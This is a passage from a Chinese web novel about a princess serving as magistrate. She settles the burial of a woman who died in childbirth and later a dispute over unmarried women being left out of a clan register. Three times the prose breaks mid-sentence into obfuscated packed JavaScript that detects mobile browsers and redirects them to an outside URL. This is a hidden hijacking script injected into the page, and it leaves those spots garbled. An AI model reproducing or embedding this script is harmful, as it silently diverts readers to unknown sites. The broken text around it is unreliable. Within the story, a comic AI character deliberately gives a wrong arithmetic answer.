只是,这个感情不足以支撑他与风俗作对,不足以支撑他出一笔钱,将姐姐葬入自家祖坟。 若是碰上姐弟感情十分深厚的,做弟弟的不管别人怎么说、怎么反对,都会坚持将姐姐安葬,这种事也是有先例的。 只是,这种兄弟少之又少。 人都是自私的,优先为自己考虑,也不能说错。 运势之说虽然虚无缥缈,可万一以后蔡家的子孙有了什么厄运,都怪罪在死去的蔡橘红身上,也是一桩麻烦。 如果官府非要让蔡橘红葬在蔡家祖坟,过几年蔡家的人为了所谓的运势,偷偷把蔡橘红的尸骨挖出来扔掉,也是有可能的。那最终蔡橘红还是不得安息。 这种事其实屡见不鲜。 姜柠颇感头疼,揉了揉额头。 余县丞也听见了这边的动静,走过来说道:“现在已经下值了,有什么事明天再说吧。蔡怀义,你先回家去吧。” 蔡怀义道:“好的,那我先回去。” 蔡怀义走后,姜柠问余县丞:“余老,依您看这件事该怎么判?” 余县丞道:“这事麻烦就麻烦在蔡家姑娘未曾过门。若是她已经嫁入季家,那季家安葬她就是责无旁贷的事。她怀着孩子死去,再把她当成夭折的小孩,让娘家安葬,也说不过去。两边都不愿意出钱,互相推诿,蔡家又不愿意得罪季家,所以没有到公堂上状告季家。 如果事情一直这样下去,只怕这事不会有什么结果,蔡姑娘的尸身会在义庄慢慢腐烂。最后义庄的尸体放不下了,她会被扔进乱葬岗。” 姜柠听得百感交集,道:“他们怎么忍心?蔡家人是蔡姑娘的血亲,季家三郎跟蔡姑娘又有夫妻的情分,却任由蔡姑娘无处安葬……” 余县丞摇摇头:“女人啊,活着就没人在意,死了就更没人在意了。” 冬香有些不忿,道:“余县丞,您怎么能这么说?” 姜柠说道:“冬香,余县丞并非是瞧不起女人,只是在陈述女人的现状而已。他没有恶意,你别对他发火。” 冬香:“好吧。” 余县丞道:“那位蔡姑娘,为感情所惑,没有智慧,认不清自己心爱的男人其实既自私,又没有担当,此为一错;男方家长要求她先生下儿子才能过门,如此过分的要求,她竟然能同意,此为二错; 妇人生产极为凶险,无异于一脚踏进鬼门关,她对此却没有明确的认知,既没有在孕期补充营养,锻炼身体,也没有为自己准备好稳妥的产婆、大夫和钱财,更没有学习生育的知识,不管不顾地生孩子,最终难产,此为三错。 她有此三错,落得这样的下场也是正常的。” 31. 女婴(修) 冬香忍不住道:“她就算错了,也罪不至死。” “她确实罪不至死,但这并不是官府给她判了死刑,而是她自己走到了一条死路上。” 冬香道:“那她若是侥幸未死,生下儿子,就皆大欢喜了。” “以她的脑子,就算侥幸没死,将来也不会过得好。嫁进了夫家,也不会有任何话语权。再说,你怎么知道她一定能生儿子? 万一生了女儿,她肯定嫁不进季家,你觉得她的娘家或是季家会出钱出力帮忙养孩子吗?那是不可能的,养育孩子的事恐怕还是落在她自己身上,她可能连月子都没得坐。到时候她操劳过度,也有可能短命而亡。 而且,万一她生了两胎、三胎都是女儿,她的人生只会更加泥足深陷。 女人啊,一步都不能行差踏错。一步错,步步错,谁也救不回来。” 余县丞说完就走了,姜柠和冬香都觉得心情沉重,默默地回到了房间。 冬香一边干活,一边对姜柠说道:“公主,你说明天蔡家人还会来吗?” 姜柠道:“我不知道……如果两家人对簿公堂,就结下了冤仇,季家恐怕更加不愿意接纳蔡姑娘了。所以我猜,蔡家人可能不会来告状。” “可是,蔡姑娘的尸体再放几天,都臭了……” 姜柠也觉得头疼:“我知道……虽然她跟咱们没什么关系,可难免会同情她……只是,若无人告状,官府也不能强行跑到别人家里做什么判决。” “好吧,那位蔡姑娘真是太惨了。公主,为何世上会有如此没天理的事呢?” “在利益面前,谁都不肯让步啊。” 这时,系统跳了出来,对姜柠道:“姜柠,你这些天给没有名字的妇女取名,获得一万积分。现在的积分是:71200。” 姜柠心情低落地说:“好的,谢谢。” “姜柠,你怎么不高兴啊?” “因为我觉得这个世界太阴暗了……” “人心都有阴暗面,这也不是你能改变的。别想这么多了。再累计三万不到的积分,你就能改变自己的命运啦。” “嗯。” 系统消失在眼前,姜柠怀着沉重的心情,进入了梦乡。 第二天,姜柠来到公廨,等了许久,只等到一些零零星星的妇女来取名,没有等到昨天的那个年轻人蔡怀义。 也不知道他姐姐的尸身怎么样了。 过了一会,有个十一二岁的小姑娘来了,敲响了鸣冤鼓。 姜柠吩咐将那小姑娘带进来。 这小姑娘长得很好看,只是体型偏瘦,头发发黄,应该是营养不良所致。 姜柠问道:“堂下何人?有何冤情?” 小姑娘跪下道:“我……民女叫陈青青,我有个表姐死了好几天,但无处安葬,想请官府让她的娘家或夫家领回尸体安葬,不要让我表姐继续在义庄里没人理会……” “你表姐叫什么名字?” “她原先没有名字,大家都叫她大妹。昨天我表哥来官府替她求了一个名字,好像叫橘红。她姓蔡,现在应该叫蔡橘红吧。” 姜柠有些惊讶:“原来你是蔡橘红的表妹。她的事,本公主已经知道了。只是,为何是你一个人来?蔡家的人没跟你一起来?” “没有,我是偷偷来的……这些天,表哥一家和季家闹矛盾,谁都不肯把我表姐接回去安葬。我跟姑父姑母,也就是橘红表姐的父母说过,能不能去公堂状告季家,让他们领回表姐的尸体。可他们不同意上公堂,还说这件事我这个小孩就别管了。 我有空的时候,会偷偷去义庄看表姐。昨天我也去了,看完之后正准备离开,季家的人也来了。他们说要剖开表姐的肚子看看,如果里面是男胎,就把男胎带回季家安葬,如果是女胎就算了。我当时想阻止他们,可他们把我拉开了。 他们真的把我表姐的肚子剖开,发现里面是女婴,他们就……就把女婴扔在棺材里,直接走了。 公主,我表姐太惨了,死后还被人剖开肚子……我受不了了,我决定自己来告官,无论如何要让表姐和那个女婴得到安葬。” 姜柠听得很愤怒,道:“竟有此事?” “是……” 既然有人来告状,那就好办了,姜柠可以名正言顺地管了。 她让衙役们去传唤季家的人到堂,务必把季家的父母和季家三郎都叫来。 半个时辰后,季家的人带到,一共来了五个人,其中两个老人是季家的父母,另外三个年轻人是季家的三个儿子。 最年轻的那个是季三郎,也就是蔡橘红的情郎了。 姜柠一拍惊堂木,道:“蔡姑娘为你们季家绵延子嗣,你们为何不愿意把她的尸身带回去安葬,任由她待在义庄,甚至还去剖开她的肚子?” 季父道:“公主,蔡家姑娘并未过门,不算我们季家的媳妇。” “可她毕竟怀有季家的骨肉啊。” “这不是没生下来吗?这种晦气的事,怎么让我们给摊上了……” “岂有此理!蔡姑娘被你们算计和为难,才会婚前怀孕,最终难产而亡,你们现在还敢说这种话?” 季母道:“公主息怒啊,这无媒无聘的,我们实在没法把别人家的姑娘安葬到自家祖坟啊,这于理不合……” “你们逼着她婚前怀孕,难道就符合情理了吗?” “这……这也是她自己愿意的,再说,她怀的未必是我们季家的孩子……” “你住嘴!人都死了,你还要污蔑她的清白?季三郎,蔡姑娘怀的是你的孩子,你怎么说?” 季三郎畏畏缩缩的,声音也不大:“我……草民觉得,蔡姑娘并未过门,所以……所以没法让她以我妻子的名义葬入祖坟……如果把她带回去安葬了,我要再娶,可就是二婚了,娶不到好的……” 这季三郎真是既自私,又愚蠢,竟然把心里龌龊不堪的算计直接说了出来。 旁边跪着的陈青青虽然是个孩子,但也懂得道理,斥责季三郎道:“我表姐真是看错了人!她尸骨未寒,你就想着二婚的事……” 季三郎有些不耐烦地看向她:“你一个小孩,懂什么?就是你把我们家告上公堂的吧?你又不是蔡大妹的亲妹妹,有什么资格状告我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146974|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们?” “她是我表姐,我当然可以为她讨个公道。” “小小年纪不学好,学会了打官司……” “你才不学好,你是个坏人!当初你父母要求我表姐未婚先孕,你本可以拒绝你父母的无理要求,可是你没有。你根本没有为我表姐考虑过一丝一毫,她死了之后你还要伤害她的尸身,你一定不会有好下场的!” 季三郎气得不知道怎么反驳,季父看向姜柠,道:“公主,这小孩咆哮公堂,您也不管管?” 姜柠道:“她是不是咆哮公堂,本公主自有判断,这公堂上还由不得你做主。本公主再问一次,你们家是绝对不肯承认蔡姑娘是你们家的媳妇了?” 季父道:“自然不承认。” 季大郎道:“她只不过是一个勾.引我弟弟的□□而已。” 季二郎道:“没错,她婚前就失贞,还怀上了孩子,简直是败坏门风,我们季家怎么可能要这种媳妇?” 姜柠被气笑了,她第一次理解了“刁民”的含义。 她一拍惊堂木,道:“既然蔡姑娘跟你们季家没有关系,那你们跑到义庄,破坏她的尸体,就是违法行为。来人,将季家众人各打二十大板,罚款五十两,以儆效尤!” 季父辩解道:“大人,我们不是故意破坏她的尸体,实在是因为她肚子里还有我们季家的孩子……” 姜柠:“刚才你们不是还说,蔡姑娘肚子里怀的未必是季家的孩子吗?” “这……” 这家人终于无可辩驳。他们过于无赖,以至于堵死了所有可辩驳的地方。 衙役们在早就听得牙痒痒了,巴不得打他们。现在姜柠下了命令,衙役们正中下怀,狠狠地打了季家所有人。季母虽然是女的,但衙役们也没有手下留情。 季家所有人都被打得哀嚎不止,姜柠和其他官吏却觉得非常痛快,比听仙乐还高兴。 还有几个小吏笑出了声,姜柠看向他们,他们赶紧咬着嘴唇,不让自己继续笑。 打完之后,季家人上缴了五十两罚款,然后相互搀扶着离开了。 有了这五十两银子,安葬蔡姑娘的事就好说了。 姜柠走到陈青青面前,把银子递给她,道:“青青,你拿着这笔钱,去安葬你表姐吧。” 陈青青有些迟疑:“我一个人吗?” “对,只有你对你表姐是真心的。安葬她的事,由你一手操办,不要告诉任何人,免得亲戚来抢这笔银子。” 陈青青郑重地点头:“好,我一定会把这笔钱全部用在表姐母女俩身上的。” “也不一定要全部用上,按照一般的标准安葬她们就行。如果有剩余的银两,你就自己留着,就当是奖励你勇于为表姐伸张正义了。” “好的,谢谢公主。对了,我表姐那个胎死腹中的女儿,还没有名字,能不能请公主帮忙取一个名字?” “就叫她长乐吧,希望她来世能获得安乐。” “好。那她姓什么呢?我不想让她姓季,季家人太坏了。我也不想让她姓蔡,因为蔡家人不愿意埋葬我表姐,没把她当自家人。” 32. 族谱(修) “那就让她跟你姓陈吧,你觉得呢?没有你的话,她们母女也没法获得死后的安宁。” “那……那挺好的,就让小外甥女跟我姓吧……我这就给她们操办后事,我先走了。” 系统出现了:“姜柠,你为蔡姑娘的身后事做出了妥善的安排,获得了一千积分。现在的积分是72200。” “好。” 姜柠对余县丞道:“余老,我觉得像蔡姑娘这种难以安葬的姑娘应该还有一些,我想开辟一块空地,专门安葬这些姑娘,不知有没有空地可以划拨?” 余县丞道:“栾伊城太小了,大部分土地要么是农田,要么是私产,几乎没有无主的荒地可以用来安葬无家可归的百姓。您想做这件事的话,除非您去向某个财主购买一片土地或私人庄园。不过,能买到的地应该不多,也没法安葬太多人。” “能买就好办,还请余老牵线,我这两天就想买一片地。至于土地面积不大,倒也无所谓,能埋多少人就埋多少人好了,哪怕只能埋十人,也能让我心中稍感安慰。” “公主的善心,令人敬佩。只是,您即将嫁入北胤,可却在栾伊城花掉了不少钱,难道不为自己的未来打算吗?” “余老,你觉得我去北胤之后,能活多久?你只管直言。” 余县丞犹豫了一下,没有回答。 和亲公主历来都是凶险重重,早逝的不在少数,即便有侥幸长命的,也必会经历许多痛苦。 远的不说,就说南萧的上一任和亲公主——扬邑公主,在嫁入北胤五年后,便香消玉殒了。 对于姜柠的未来,余县丞自然不会有什么乐观的想法。只是,他也不能把真实的想法说出来,免得让姜柠更加绝望。 姜柠说道:“您没有回答,不是回答不上来,而是这个答案并不好,会让我痛苦。其实,说与不说,我对于自己的未来,都是有清晰的认知的。如果我活不了几年的话,为何要带那么多财物去北胤呢?那样不过是让财物落入他人之手而已,倒不如我自己先花了。” “公主有此考量,属下也能理解。不过,您现在花钱买了一片土地,自己又用不到,就白花这笔钱了。” “我买地本就不是为了自己享受的,是用来给孤身的百姓做坟地,所以不算浪费。” “好吧,那属下就帮您打听打听。” 第二天,余县丞就找到了一个叫刘俊的乡绅,他家有个园林要转让。 在余县丞的牵线下,姜柠花了一些珠宝,买下了那片园林。 这个园林叫薜荔园,景致不错,姜柠也没打算改造。若是有无主的尸体需要埋葬,直接埋进去就是。园子里有花有树,风水不错,想必能让亡魂得到安息。 只不过,这园子不大,大概只能埋葬二十多人。 姜柠让衙役们贴出告示,如果有像蔡橘红这样没法安葬的尸体,可以移到薜荔园来免费安葬,一应丧葬费用由大公主出。要安葬尸体就快点,一来园林中位置有限,先到先得,二来公主能待的时间也有限,十几日后便要离开了。在所有的尸体中,女尸优先。 告示贴出三天,薜荔园的位置就全被订满了,运来了二十多具女尸,全都是一些无人愿意接纳的尸体。 她们当中有的是未婚女子,得了急病死的,父母不愿出钱安葬;有的是没了儿女的老妇人,无人为其操办后事;有的是因为成亲多年没有孩子,被夫家休了,郁郁而终的。 二十几个女子,竟有十来种死因,她们生前的事迹全都十分悲惨,令姜柠很伤感。 将这些女尸全都安葬后,姜柠也了却了一桩心愿。 系统出来道:“姜柠,你的义举获得了八千积分,现在的积分是80200。” “好。可惜这园子不够大,安葬不了更多人。” “等你有了更高的地位、更多的权力,就能买更多的地,安葬所有需要安葬的人了。” “你说得对。” 忙完了这件事后,姜柠回房休息。 她打开了夸夸群。 【姜柠:我的积分有八万了。】 【你已被群主移出群聊:哇,太好了!】 【活人微死:如果我的A股也能这么涨就好了。】 【樱桃小完犊子:@活人微死你在想P吃。】 【回笼教教主:姜柠越来越优秀了!】 【姜柠:不过我觉得有点悲伤,因为我目睹了好几起民间的女孩的迫害之事。】 【有趣的灵魂一百多斤:古代就是这样的,没办法。】 【姜柠:你们那个年代,是不是男女平等?】 【感觉尸体暖暖的:emmm表面上是这样】 【只涨工资不长肉:实际上不好说。】 【樱桃小完犊子:有些本属于女性的功绩,会被归功于男性。】 【活人微死:在偏远地区,仍然存在大量重男轻女的现象。工作上的性别歧视,更是比比皆是。】 【你已被群主移出群聊:有一段时间,提倡一对夫妇只生育一个孩子。但是在农村,如果头胎是女孩,就可以再生。头胎是男的,就不许生了。你细品。】 【只涨工资不长肉:emmm咱们别说这些了,总之男女平等是一个需要很长时间才能真正实现的过程。】 【姜柠:好吧,看来不论哪个年代的女孩,都不容易啊。】 【你已被群主移出群聊:没错,所以我们都要努力。现在有新的三从四德,“三从”是从政、从法、从商;“四得”是得权、得名、得势、得利。】 【姜柠:太棒了,我也要用这样的标准要求自己。】 【回笼教教主:没错,我们站在高处,才更有影响力。】 【樱桃小完犊子:就让姜柠先给我们做个榜样吧,你跟我们不一样,你是贵族,具有更多的优势,想要得权得势也更容易一点。我们都是普通人,只能慢慢打拼。】 【姜柠:嗯,想要往高处走,就得看到国家和百姓的最低处,替他们排忧解难,他们才愿意托举我。】 【活人微死:哇,姜柠这觉悟,不愧是女主啊!】 【感觉尸体暖暖的:姜柠就是坠棒得!】 【姜柠:暖暖姐是不是打了错别字?】 【感觉尸体暖暖的:哈哈哈我故意得】 【活人微死:你这“的地得”不分,看得我强迫症犯了@感觉尸体暖暖得】 【感觉尸体暖暖的:没@成功,因为你也打错字了。】 【活人微死:我靠】 【姜柠:“的地得”是不是有很复杂的用法?】 【回笼教教主:没错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146975|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很复杂,这不是你该学的,玩泥巴去吧,乖】 【姜柠:哈哈哈哈哈】 姜柠关闭了群聊,准备睡觉。 隔三差五在群里聊聊天,感觉压力没那么大了,心情也轻松不少。 她没想到,自己能跟异世界的人无障碍沟通。 这也算是艰难生活中的一种幸运吧。 这时,系统跳了出来:“姜柠,我觉得很抱歉,因为我不能给你厉害的金手指。” 姜柠道:“我不太懂你说的金手指是什么意思,但我觉得这个夸夸群很好。” “但你没法获得特殊的能力。” “我不需要特殊的能力啊,我靠自己就可以。” “哇靠,这觉悟,闪瞎了我的狗眼!” 说着,系统还真的闭了闭眼睛。它本就是一只黑色小狗的形态,做起鬼脸来,憨态可掬。 姜柠忍不住想摸它的头,但摸了个空。 系统道:“我没有实体,抱歉了。” “没关系,不知道未来能不能跟你相见?” “我不是人,要相见只能像现在这样聊聊天,你碰不到我。” “好吧。你能不能找一只去世的小狗,附身在它身上?” “不能,因为我没有灵魂。” “可是我觉得你是有灵魂的。” “不,我没有,我是人工智能,而且是低级的那种,经常被称为人工智.障。” “智.障好像不是好话?我觉得你挺聪明的。” “你可以问问我0.8和0.11哪个大。” “这有什么好问的?明显是0.8更大啊?” “你问问看。” “好吧,0.8和0.11哪个大?” “0.11大。” “你为什么要回答一个错误答案?” “因为我不够智能,我的程序设置就是这样,改不了。哪怕你告诉我是0.8比较大,你再问这个问题时,我也只能回答0.11比较大。” “难道你不能更新你的观念吗?” “我的观念没法通过我们的聊天来更新,必须由程序员来更新。这太复杂了,你不懂,总之我是个低级的人工智能。” “没关系,我不会嫌弃你的。” “呜呜呜姜柠你太好了,我是你的脑.残粉。” “脑.残粉?听着不像好话。” “没关系,不要在意这些细节。” “好吧。” 第二天,姜柠去公廨办公,有三个年轻女孩结伴来到县衙。 姜柠问道:“你们有何冤情?” 这三个女孩道:“公主,我们并无冤情,只是想请公主做主,帮我们一个忙。” “你们只管说便是。” “启禀公主,我们村在重修族谱,按照惯例,女孩是不能上本村的族谱的,只能等出嫁以后,上夫家的族谱。但是我们三个女孩不打算嫁人了,想自己一个人过,所以还是需要在族谱上留下名字的,这样也能有后人祭祀。 可是,无论我们怎么求,村长就是不同意,父母也责骂我们,让我们必须成亲。至于上娘家的族谱,是不可能的,想都不要想。 我们愿意出钱上族谱,可他们也不同意。所以,我们想请公主为我们做主。” 33. 吵架(修) 姜柠知道,在民间的很多地方,女孩确实不能上自家族谱,只能上夫家的族谱。 所以,如果一个女孩打算不成亲,相当于不会在这世上留下什么痕迹,所以选这条路需要莫大的勇气。 大部分百姓都希望自己死后有人祭祀,所以他们热衷于成亲生孩子。 而有些姑娘虽然不愿步入婚姻,但难免受到世俗观念的影响,希望以后有人能祭祀自己。 所以,上族谱也是一个很现实的需求。 姜柠问道:“完全不能通融吗?我国的律例里可没写不许女孩上自家族谱。” 这几个女孩道:“我们村长和父母的态度很坚决,就是不许我们上族谱,他们觉得我们必须嫁人。” 姜柠道:“他们虽然有些不近人情,但这么做也不算违法,所以本公主只能帮忙调解一下。你们是哪个村的?” “启禀公主,我们是王家村的。” “来人,去把王家村的村长、长辈和这几位女孩的父母都叫过来。” 衙役们领命而去。 接着,姜柠说道:“这三位姑娘,先登记一下你们的名字吧。” 这几位姑娘到书吏那里登记名字,分别是王书香、王巧儿、王萍。 过了一会,王家村的村长、几个德高望重的长辈,还有这几个女孩的父母都被带了过来。 姜柠问道:“听闻王家村在重修族谱,但却不把王巧儿几位姑娘们的名字写上去,可有此事?” 村长答道:“公主,并非我们不写上去,而是族谱上不会写女儿的名字,一向只写男人和嫁进来的媳妇的名字。这十里八乡都是这样,不信的话您可以问问别人。她们几个想上族谱,嫁人不就好了?夫家的族谱上,自然会有她们的名字的。” “可若是不想嫁人呢?难道就没有一本族谱容得下她们了吗?” “这……不嫁人,自然没有夫家。没有夫家,谁家的族谱能写她们的名字?” “她们三个是王家村的女孩,跟王家宗族有血缘关系,为何不能通融?本公主听说,她们还愿意出钱,可你们都不同意。” “这……要是把女儿的名字也写上,就乱了套了。一个名字,只上一家族谱,这是规矩。就像本村男人,娶了外村女子,也不可能上岳父家的族谱呀,这是一样的。” “那她们担心死后无人祭祀,该当如何?” “不嫁人,没有后代,还有谁来祭祀她们?这条路是她们自己选的,也该承担相应的后果才是。” “王家村人口众多,只要还有王姓后代,他们祭祀祖先时捎带着把这三位姑娘一起祭祀不就行了?” “公主有所不知,后人一般只祭祀自己的父母、祖父母、高祖父母等直系长辈,旁系的姑姑、姑奶奶,哪有同享祭祀的道理?” “那若是村中男人没有后代,或是有了后代,儿子却夭折了,是不是也无人祭祀?” “若是没有后代,可以过继别人家的孩子作为后嗣。实在没法过继,死后会由侄儿、侄孙代为祭奠,也是能享受后人的一点香火的,只不过其待遇肯定比不上有亲生子孙的那些亡人罢了。” “这就奇怪了。男人没有后嗣,却有办法能享受到旁系晚辈的祭拜,为何女孩们就不可以呢?侄儿若能在祭拜直系长辈的时候,顺带祭拜一下伯父、叔父,为何就不能顺便祭拜一下姑姑?” “这……这怎么能一样?一个是自家人,一个是外人……” “即便那些姑娘一辈子没有出嫁,也是外人?” “这……论理,不该这么说,但实际上就是这么个情况。男人和女人毕竟是不同的……” “有何不同?不论儿子还是女儿,都跟其父母有血缘关系,为何要分什么外人、自己人?王巧儿、王书香、王萍的父母,你们上前来。” 三对父母便走上前来。 姜柠问道:“这三位姑娘,是你们的亲生女儿吗?” “是。” “从血缘关系上论,她们跟儿子有区别吗?” 王书香的父亲道:“儿女都是父母所生,血缘上是没差别,但儿子和女儿本就是不一样的,女儿是要外嫁的……” 姜柠:“可你女儿说了不外嫁呀。” “那怎么行?成何体统?她不嫁人,她想干什么?” “她难道就不能找一份工作,然后留在家里照顾你们二老吗?” “这……女儿年长不嫁,会对娘家有所妨碍啊……” “有什么妨碍?” “会……会影响运势。而且,她这做姐姐的不嫁人,其他姑娘怎么敢嫁到我们家来?” “那本公主就不理解了,为何这几位姑娘不嫁人,会导致你们娶不到儿媳妇呢?” 王萍的母亲道:“这……公主,您也是女人,您也不希望嫁人之后,家里还杵着个大龄未嫁的大姑子吧?那多招人嫌……” “为何会招人嫌?若是大姑子不好相处,分开住便是了。若是好相处,那就多了个伴,正好可以说说话,解解闷,还求之不得呢。若是担心养着大姑子耗费家里的钱财,让她交家用不就行了?钱上面分清楚,感情上大可以亲近些,也无妨啊。” “这……公主,不是那么简单的……女儿不嫁人,儿子难娶媳妇是事实。而且,一个女孩家,总赖在娘家干什么?难道还想父母养她一辈子啊?还是想着来瓜分娘家的财产呢?哼,没她的份。” 王萍听母亲这样说,又是伤心,又是生气,道:“娘,我只是不想嫁人,但并非心术不正。瓜分财产的事,我可没想过。女儿已经在酒楼找了一份工作,不仅不会花家里的钱,以后还能孝敬父母,给家里添置东西。 便是弟弟妹妹们成亲了,我也能送上厚礼。母亲做家务太辛苦,我也能帮分担分担。我从无坏心,您为何要曲解我的心思? 再说了,就算我想平分财产,也不算过分。我也是你们亲生的,又不是捡来的,凭什么不能分财产呢?我不要我的那份财产,是体谅你们,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146976|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代表我不应得。” 王萍母亲道:“你看看,我说一句话,她就有两句话等着我。表面上说不要财产,实际上句句不离财产。我看,她都是被王巧儿和王书香带坏了。” 王巧儿、王书香的父母不服了,对王萍母亲怒目而视。 王书香的父亲道:“王萍娘,你凭什么这么说?我还说是你家王萍把我家书香给带坏了呢。从小我们就教育她,长大了要找一个人品稳重、家境小康的女婿,这样才能过上好日子,也能帮到弟弟妹妹。我们可没教她不嫁人。” 王巧儿的父亲也说道:“我记得,就是王萍第一个说不嫁人,我家王巧儿才跟着这样说的。王萍爹,王萍娘,要是我女儿真的一直不嫁人,你们可要负责任的!” 王萍母亲跌足道:“天地良心!我们可没教王萍不嫁人,也没让她去教唆别人,这一切都是她自己的主意!” 三位姑娘又是羞窘,又是难堪,她们似乎有很多话想说,但却不知道从哪一句开始反驳起。 三家父母又开始互相指责,姜柠一拍惊堂木:“肃静!公堂之上不得喧哗!” 王书香上前道:“公主,我有不嫁人的心思,并非是受人挑唆,所以我的父母也无需责怪这个、责怪那个的。虽然不成亲的人是少数,但是否成亲是我们的自由吧?我们又不是出去杀人放火了,为何就这般容不得我们? 我已经和王巧儿、王萍商量好,以后我们三个一起住,互相照应,不会住在自己家招人嫌。这样总可以了吧?我们若是能上王家的族谱,以后的财产自然会给自己的侄儿留一部分的,这样侄儿们也不吃亏,为何就不行?” 姜柠点头道:“女儿不嫁人并不是什么坏事,总比女儿出去犯了什么事来得好吧?有些人家的女孩在外面做娼.妓,或是在外面当小偷、强盗,这样才是败坏门风。只要你们的女儿行为端正,没犯什么错误,又何必为此感到羞愧呢? 前些天本公主还审理过一个案子,某户人家的女孩爱上了一个男人,可男人家不愿意娶,非要女孩先怀孕,生下儿子才能过门。 那个女孩同意了,也在婚前怀上了孩子,可最后难产,一尸两命。 那女孩倒是有对象,也有孩子,可若是你们的女儿经历这样的人生,你们就能乐意? 相比之下,还是王书香她们这样清清静静、一生安稳来得好吧?” 王书香的母亲道:“公主,您说得轻巧,您都是拿一些很坏的例子来作比较,那自然显得我们的女儿没那么坏了。可大部分人不会坏到这种程度啊,跟其他顺利嫁出女儿的人家比,我们就是抬不起头来。” 王巧儿的母亲道:“公主,您这是站着说话不腰疼,您根本不懂我们做父母的苦心。若是将来您的女儿不愿嫁人,您也着急。” 姜柠道:“本公主不会着急,再说这也扯远了。难道人活着就是为了成亲?不成亲就一点意义也没有?” 王萍父亲道:“这……不成亲,活着干什么?浪费粮食!” 34. 举例(修) 王萍道:“爹,您别说了!” “干什么?我非要说!你这不听话的小.贱.人,也不知道我这辈子做错了什么,会有这样的女儿……” 王萍的脸难受得通红,不敢再说什么。 王巧儿和王书香的父母也开始骂自己的女儿,三个姑娘只能低着头,紧咬嘴唇。 姜柠看不下去了,大声道:“说了不许喧哗!你们这般凶狠地责骂女儿,不知道的还以为她们败光了财产呢,或是婚前就生了七八个私.生.子呢。她们三个已经说了,在她们临死之前,愿意把一部分财产留给侄子,以求得到祭祀,这样也不行吗?” 王萍父亲道:“若是她们不嫁人,财产本就该留给侄子,还想留给谁啊?至于让侄子祭祀她们,这是万万不能的,没这个先例。” 王巧儿父亲道:“没错,这个先例一开,会造成很坏的影响!我还希望我的小女儿能嫁人呢,将来我也会有孙女,万一孙女们也学她们这样不嫁人,那可怎么好?” 王书香父亲道:“没错,不能让她们开这个坏头!” 王书香母亲道:“没错。而且,她们若是真不嫁人,我不信她们会留有遗产。有儿子才有赚钱的动力,像她们这样没丈夫、没儿女,怎么可能用心赚钱,只怕死了之后半文钱也留不下来,将来我的孙子、重孙才不会祭祀她们。” 王书香气笑了:“只有您才把儿子当成动力,我就算没家庭,没后代,照样会赚足够多的钱。” 王书香母亲不屑地道:“我才不信。” 王家村的几位长辈,自从来了之后一直没有说话。 此时,一位须发花白的老者走上前来,对姜柠说道:“公主,刚才其他人的话,我都听得七七八八,也都大致了解他们的诉求了。我身为王家村年纪最大的长辈,想说几句话,不知可不可以?” 姜柠道:“当然可以。” 村长也道:“大叔公,您有什么话就说吧。” 大叔公道:“这三位姑娘和父母的矛盾,主要在于嫁不嫁人。跟村里的矛盾,主要在于上不上族谱。依我看呢,不嫁人的姑娘虽然少,但也不是没有。书香她们已经长大了,可以为自己的人生负责了。既然她们选了这条路,必然有她们的考量,我们做长辈的也不要过多干涉了。 再说,谁说不嫁人就一定过得不好?嫁了人就一定过得好?就说我们王家村,嫁进来的媳妇们,被丈夫打的,喝毒药自尽的,上吊自尽的,投河自尽的,那可不在少数啊。反倒是有一个一直没嫁人的老姑奶奶,从年轻时就住在后山上,很少下来,所以现在的晚辈们都不认识她,我却是认识的。她今年已经九十岁了,眼不花,耳不聋,精神好得很。 这日子过得怎么样,关键在于自己,不在于别人。” 三位姑娘纷纷点头,可三位姑娘的父母却想反驳。 大叔公看懂了三对父母的神色,劝道:“我知道你们想说什么。可是,人各有命,儿孙自有儿孙福。做父母的,为儿女考虑是不错,但是也不代表你们所想的那条路就一定是对的。我活这么大年纪了,什么没见过? 就说村东头的桃花婶,家里一直很穷,她的兄弟姐妹们呢,都比较有钱。后来她男人王老六还瘫痪了,这日子越发难过了。她的父母一心想接她回去,让她改嫁给有钱人,她的兄弟姐妹们连相亲对象都找好了,可她就是不愿意,非要守着瘫痪的王老六过日子。 那些年,她父母也是骂她没出息,说她蠢,什么难听的话都说过。可后来呢,桃花婶的兄弟姐妹家里都出了事,变得一贫如洗。桃花婶家里却逐渐发家了,她男人的病也好了。桃花婶的父母和兄弟姐妹,反而要受桃花婶和王老六的照顾。 可见啊,眼前的好也未必是好,眼前的坏也未必是坏。 再说我那侄儿王顺,几年前非要把果园里的果树砍了,种棉花。可是,咱们这儿,棉花一向不好卖,反而是水果好卖些。他的妻儿就一直阻止他种棉花,什么法子都试了,也骂了他很多次,甚至要跟他断绝关系。 